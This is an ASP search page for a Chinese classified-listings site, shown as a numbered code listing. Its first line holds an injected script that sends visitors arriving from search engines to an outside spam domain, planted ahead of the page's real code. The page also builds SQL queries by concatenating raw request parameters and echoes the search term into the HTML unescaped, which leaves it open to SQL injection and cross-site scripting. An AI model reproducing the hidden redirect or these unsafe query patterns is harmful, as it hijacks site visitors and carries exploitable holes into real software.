d:\wwwroot\wuchunhua\search1.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/function.asp"-->
004: <%
005: '    @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
006: '   @                                        @
007: '  @                                          @
008: '  @   客齐齐分管理系统,做最好的分类系统。   @
009: '  @                                          @
010: '   @                                        @
011: '    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
012: Dim key
013: key=trim(request("key"))
014: %
>
015: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
016: <html xmlns="http://www.w3.org/1999/xhtml">
017: <head>
018: <title><%=title%>搜索-<%=key%></title>
019: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
020: <meta http-equiv="Content-Language" content="zh-cn" />
021: <meta name="Keywords"  content="<%=metakey%>" />
022: <meta name="Description" content="<%=metades%>" />
023: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
024: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
025: <link href="inc/style.css" rel="stylesheet" type="text/css" />
026: <style type="text/css">
027: <!--
028: .word {   font-size: 10.5pt;   line-height: 22px;}
029: body,td,th {font-size: 9pt;   color: #0033BB; line-height:22px}
030: .en {
031:    font-family: Arial, Helvetica, sans-serif;
032:    font-size: 13px;
033: }
034: -->

035: </style>
036: </head>
037: <body>
038: <div id="Fmain">
039: <div id="header">
040: <%call top()%>
041: </div>
042: <div class=kon></div>
043: <div id=FFContent><div Class='FFdiv'>
044: <%
045: Dim Result,startime
046: diqu=request("diqu")
047: ruirui=request("ruirui")
048: fl=trim(request("fl"))
049: sj=trim(request("sj"))
050: 'key=trim(request("key"))
051: startime=timer()
052: if request("page")="" then
053: ThisPage=1      
054: else
055: ThisPage=request("page")
056: end if
057: dim endtime,bt,nr
058: set rsso=server.createobject("ADODB.recordset")
059: 'tj=0
060: if request("kqiqi")="fl" then
061: if diqu<>"选择地区" and  fl<>"0"  then
062: sql = "select * from kqiqi_info where yz=1 and class1="&fl&" and diqu like '%"&diqu&"%' and (leixing like '%"&key&"%' or biaoti like '%"&key&"%' or memo like '%"&key&"%' or diqu like '%"&key&"%' or com like '%"&key&"%' or username like '%"&key&"%' or name like '%"&key&"%') order by id desc,llcs desc"
063: end if
064: if diqu<>"选择地区" and  fl="0"  then
065: sql = "select * from kqiqi_info where yz=1 and  diqu like '%"&diqu&"%' and (leixing like '%"&key&"%' or biaoti like '%"&key&"%' or memo like '%"&key&"%' or diqu like '%"&key&"%' or com like '%"&key&"%' or username like '%"&key&"%' or name like '%"&key&"%') order by id desc,llcs desc"
066: end if
067: if diqu="选择地区" and  fl<>"0"  then
068: sql = "select * from kqiqi_info where yz=1 and class1="&fl&" and (leixing like '%"&key&"%' or biaoti like '%"&key&"%' or memo like '%"&key&"%' or username like '%"&key&"%' or name like '%"&key&"%') order by id desc,llcs desc"
069: end if
070: if diqu="选择地区" and  fl="0"  then
071: sql = "select * from kqiqi_info where yz=1 and (leixing like '%"&key&"%' or biaoti like '%"&key&"%' or memo like '%"&key&"%' or diqu like '%"&key&"%' or com like '%"&key&"%' or username like '%"&key&"%' or name like '%"&key&"%') order by id desc,llcs desc"
072: end if
073: end if
074: if request("kqiqi")="sj" then
075: if diqu<>"选择地区" and  sj<>"0"  then
076: sql = "select * from kqiqi_shop where yz=1 and sjcla1="&sj&" and diqu like '%"&diqu&"%' and (username like '%"&key&"%' or com like '%"&key&"%' or email like '%"&key&"%' or che like '%"&key&"%' or fax like '%"&key&"%' or comabout like '%"&key&"%' or name like '%"&key&"%' or dianhua like '%"&key&"%' or dizhi like '%"&key&"%' or com like '%"&key&"%' or comgg like '%"&key&"%') order by id desc,tong desc,vip desc"
077: end if
078: if diqu<>"选择地区" and  sj="0"  then
079: sql = "select * from kqiqi_shop where yz=1 and diqu like '%"&diqu&"%' and (username like '%"&key&"%' or com like '%"&key&"%' or email like '%"&key&"%' or che like '%"&key&"%' or fax like '%"&key&"%' or comabout like '%"&key&"%' or name like '%"&key&"%' or dianhua like '%"&key&"%' or dizhi like '%"&key&"%' or com like '%"&key&"%' or comgg like '%"&key&"%') order by id desc,tong desc,vip desc"
080: end if
081: if diqu="选择地区" and  sj<>"0"  then
082: sql = "select * from kqiqi_shop where yz=1 and sjcla1="&sj&" and (username like '%"&key&"%' or com like '%"&key&"%' or email like '%"&key&"%' or che like '%"&key&"%' or fax like '%"&key&"%' or comabout like '%"&key&"%' or name like '%"&key&"%' or dianhua like '%"&key&"%' or dizhi like '%"&key&"%' or com like '%"&key&"%' or comgg like '%"&key&"%') order by id desc,tong desc,vip desc"
083: end if
084: if diqu="选择地区" and  sj="0"  then
085: sql = "select * from kqiqi_shop where yz=1 and (username like '%"&key&"%' or com like '%"&key&"%' or email like '%"&key&"%' or che like '%"&key&"%' or fax like '%"&key&"%' or comabout like '%"&key&"%' or name like '%"&key&"%' or dianhua like '%"&key&"%' or dizhi like '%"&key&"%' or com like '%"&key&"%' or comgg like '%"&key&"%') order by id desc,tong desc,vip desc"
086: end if
087: end if
088: if request("kqiqi")="ruirui" then
089: if ruirui<>"资讯分类"  then
090: sql = "select * from kqiqi_news where gcla like '%"&ruirui&"%' and (biaoti like '%"&key&"%' or neirong like '%"&key&"%') order by id desc"
091: end if
092: if ruirui="资讯分类"  then
093: sql = "select * from kqiqi_news where (biaoti like '%"&key&"%' or neirong like '%"&key&"%') order by id desc"
094: end if
095: end if
096: rsso.open sql,conn,1,1
097: if rsso.eof then
098: response.write "还没有搜索到相关信息!"
099: else
100: 'username=rsso("username")
101: Pagesize=rsso.Pagesize
102: Allrecord=rsso.Recordcount
103: Allpage=rsso.Pagecount
104: if ThisPage<1 then                          
105: ThisPage=1                          
106: end if
107: On Error Resume Next
108: rsso.move (ThisPage-1)*Pagesize
109:
110: endtime=timer()%
>
111: <table scrolling=no scroll=no topmargin="0" leftmargin="0" bottommargin="0" rightmargin="0" cellspacing="0" cellpadding="0" width="970">
112: <tr><td colspan="2" style="border-left-width: 1px; border-right-width: 1px; border-top: 1px ; border-bottom-width: 1px; background-color: #F0F0FF" height="25" class="userbg">
113: &nbsp;<%=title%>为您搜索到<font color="#FF0000"><b><%=Allrecord%></b></font>条与<font color="#FF0000"><b><%=key%></b></font>有关的信息,<%response.write "搜索用时:<b>"&FormatNumber((endtime-startime)*1000,3)&"</b>毫秒"%>
114: </td></tr>
115: <tr><td align="center" valign="top" width="70%">
116: <table border="0" width="100%"  cellspacing=3 cellpadding=0>
117: <tr>
118: <td  valign="top" width="70%" style="border-bottom:1px #CCCCCC dotted;text-align:left">
119: <%
120: response.write "<img border=""0"" src=""image/tu.gif"" class=""tu_1"">"
121: response.write ""&adclass3&""
122: %
>
123: </td>
124: </tr>
125: <%
126: b=trim(rsso("b"))
127: dim k,bgc
128: Counter=0
129: for k = 1 to 10
130: if not rsso.eof then
131: bgc="ffffff"
132: if k mod 2 =1 then
133: bgc="ffffff"
134: else
135: bgc="ffffff"
136: end If
137:
138: response.write "<tr bgcolor=#"&bgc&"><td style=""border-bottom:1px #CCCCCC dotted;text-align:left"">"
139: tupian=rsso("tupian")
140: logo=rsso("logo")
141:
142: if request("kqiqi")="fl" then
143: %
>
144: <a href='<%=rsso("xurl")%>' target='_blank'>
145: <%if tupian<>"0" and tupian<>"" then
146: %
>
147:      <img border="0" src='<%=rsso("tupian")%>' class='tu_1' />
148: <%
149: else
150: response.write "<img border=""0"" src=""image/tu.gif"" class=""tu_1"">"
151:
152: end if
153: %
>
154: </a>
155: <%
156: response.write "<a target=""_blank"" href=""/"&rsso("xurl")&""">"
157: response.write "<font style=""font-size: 11pt""><b>["&rsso("diqu")&"]</b></font>"
158: bt=Replace(""&rsso("biaoti")&"",""&key&"","<font color=#FF0000>"&key&"</font>")
159: response.write "<font style=""font-size: 11pt""><b>"&bt&"</b></font></a><br>"
160: nr=Replace(""&left(replace(replace(replace(rsso("memo"),"&nbsp;",""),chr(13)&chr(10),""),"<br>",""),155)&" ... ... ",""&key&"","<font color=red>"&key&"</font>")
161: response.write ""&nr&"<br>"
162: response.write "<font color=""#008000"">"&web&"/"&rsso("xurl")&"   "&(rsso("fbsj"))&"</font>"
163: response.write " - <a target=""_blank"" href=""/"&rsso("xurl")&"""><font color=""#808080"">查看详细说明</font></a>"
164: end if
165: if request("kqiqi")="sj" then
166: response.write " <a target=""_blank"" href=""/shop/shop2.asp?m="&rsso("username")&""">"
167: if logo<>"0" and logo<>"" then
168: %
>
169:      <img border="0" src='<%=rsso("logo")%>' class='tu_1' />
170: <%
171: else
172: response.write "<img border=""0"" src=""image/nophoto.gif"" class=""tu_1"">"
173: end if
174: %
>
175: </a>
176: <%
177: response.write "<a target=""_blank"" href=""/shop/shop2.asp?m="&rsso("username")&""">"
178: response.write "<font style=""font-size: 11pt""><b>["&rsso("diqu")&"]</b></font>"
179: bt=Replace(""&rsso("com")&"",""&key&"","<font color=#FF0000>"&key&"</font>")
180: response.write "<font style=""font-size: 11pt""><b>"&bt&"</b></font></a><br>"
181: nr=Replace(""&left(replace(replace(replace(rsso("comabout"),"&nbsp;",""),chr(13)&chr(10),""),"<br>",""),155)&" ... ...",""&key&"","<font color=red>"&key&"</font>")
182: response.write ""&nr&"<br>"
183: response.write "<font color=""#008000"">"&web&"/shop/shop2.asp?m="&rsso("username")&"   "&datevalue(rsso("lastdl"))&"</font>"
184: response.write " - <a target=""_blank"" href=""/shop/shop2.asp?m="&rsso("username")&"""><font color=""#808080"">进入商家店铺</font></a>"
185: end if
186:
187: if request("kqiqi")="ruirui" then
188: %
>
189: <a href='shownews.asp?id=<%=rsso("id")%>' target='_blank'>
190: <img border="0" src="image/tu.gif" class="tu_1">
191: </a>
192: <%
193: response.write "<a target=""_blank"" href=""/shownews.asp?id="&rsso("id")&""">"
194: response.write "<font style=""font-size: 11pt""><b>["&rsso("gcla")&"]</b></font>"
195: bt=Replace(""&rsso("biaoti")&"",""&key&"","<font color=#FF0000>"&key&"</font>")
196: response.write "<font style=""font-size: 11pt""><b>"&bt&"</b></font></a><br>"
197: 'nr=stripHTML(Replace(""&left(replace(replace(replace(rsso("neirong"),"&nbsp;",""),chr(13)&chr(10),""),"<br>",""),155)&" ... ... ",""&key&"","<font color=red>"&key&"</font>"))
198: nr=stripHTML(Replace(""&left(rsso("neirong"),155)&" ... ... ",""&key&"","<font color=red>"&key&"</font>"))
199: response.write ""&nr&"<br>"
200: response.write "<font color=""#008000"">"&web&"/shownews.asp?id="&rsso("id")&"   "&(rsso("data"))&"</font>"
201: response.write " - <a target=""_blank"" href=""/shownews.asp?id="&rsso("id")&"""><font color=""#808080"">查看资讯</font></a>"
202: end if
203: response.write "</td></tr>"
204: else
205: exit for
206: end if
207: rsso.movenext
208: next
209: rsso.close
210: set rsso=nothing
211: %
>
212: <tr>
213: <td  valign="top" width="70%" style="text-align:left">
214: <%
215: response.write "<img border=""0"" src=""image/tu.gif"" class=""tu_1"">"
216: response.write ""&adclass4&""
217: %
>
218: </td>
219: </tr>
220: </table>
221: </td><td align="center" width="27%" valign="top">
222: <%response.write ""&adclass2&"" %>
223: </td></tr>
224: </table>
225: <table border="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111" bgcolor="#F2F2F2" width="970">
226: <tr>
227: <td height="25" width="119">
228: <p align="center">
229: <span>共有&nbsp;<font color="#CC5200"><%=Allrecord%></font>&nbsp;条记录</span></td>
230: <td height="25" width="97">
231: <p align="center"><span>共 <font color="#CC5200"><%=Allpage%></font> 页</span></td>
232: <td height="25" width="123">
233: <p align="center"><span>现在是第
234: <font color="#CC5200"><%=ThisPage%></font> 页</span></td>
235: <td height="25">
236: <span>
237: <%
238: if ThisPage<2 then    
239: response.write "<font color=""#808080"">首页</font>&nbsp;"
240: response.write "<font color=""#808080"">上一页</font>&nbsp;"    
241: else    
242: response.write "<a href=?page=1&key="&escape(key)&"&fl="&fl&"&diqu="&escape(diqu)&"&kqiqi="&kqiqi&"&sj="&sj&"&ruirui="&escape(ruirui)&">首页</a>&nbsp;"
243: response.write "<a href=?page="&ThisPage-1&"&key="&escape(key)&"&fl="&fl&"&diqu="&escape(diqu)&"&kqiqi="&kqiqi&"&sj="&sj&"&ruirui="&escape(ruirui)&">上一页</a>&nbsp;"    
244: end if
245: if Allpage-ThisPage<1 then    
246: response.write "<font color=""#808080"">下一页</font>&nbsp;"
247: response.write "<font color=""#808080"">尾页</font>&nbsp;"  
248: else    
249: response.write "<a href=?page="&(ThisPage+1)&"&key="&escape(key)&"&fl="&fl&"&diqu="&escape(diqu)&"&kqiqi="&kqiqi&"&sj="&sj&"&ruirui="&escape(ruirui)&">下一页</a>&nbsp;"  
250: response.write "<a href=?page="&Allpage&"&key="&escape(key)&"&&fl="&fl&"&diqu="&escape(diqu)&"&kqiqi="&kqiqi&"&sj="&sj&"&ruirui="&escape(ruirui)&">尾页</a>&nbsp;"    
251: end if
252: %
>
253: </span>
254: </td></tr></table>
255: </div></div>
256: <%end if%>
257: <table border="0" width="100%"><tr><td bgcolor="#F0F0FF">  </td></tr>
258: <tr><td align="center">Copyright 2008 <strong><A href="<%=web%>" target="_blank">
259: <%=title%></A></strong> . All Rights Reserved.
260: </td></tr></table></div>
261: <div style="display:none"><script language="javascript" type="text/javascript" src="http://js.users.51.la/765122.js"></script>
262: <noscript><a href="http://www.51.la/?765122" target="_blank"><img alt="&#x6211;&#x8981;&#x5566;&#x514D;&#x8D39;&#x7EDF;&#x8BA1;" src="http://img.users.51.la/765122.asp" style="border:none" /></a></noscript>
263: </div>
264: </body>
265: </html>
266:
267: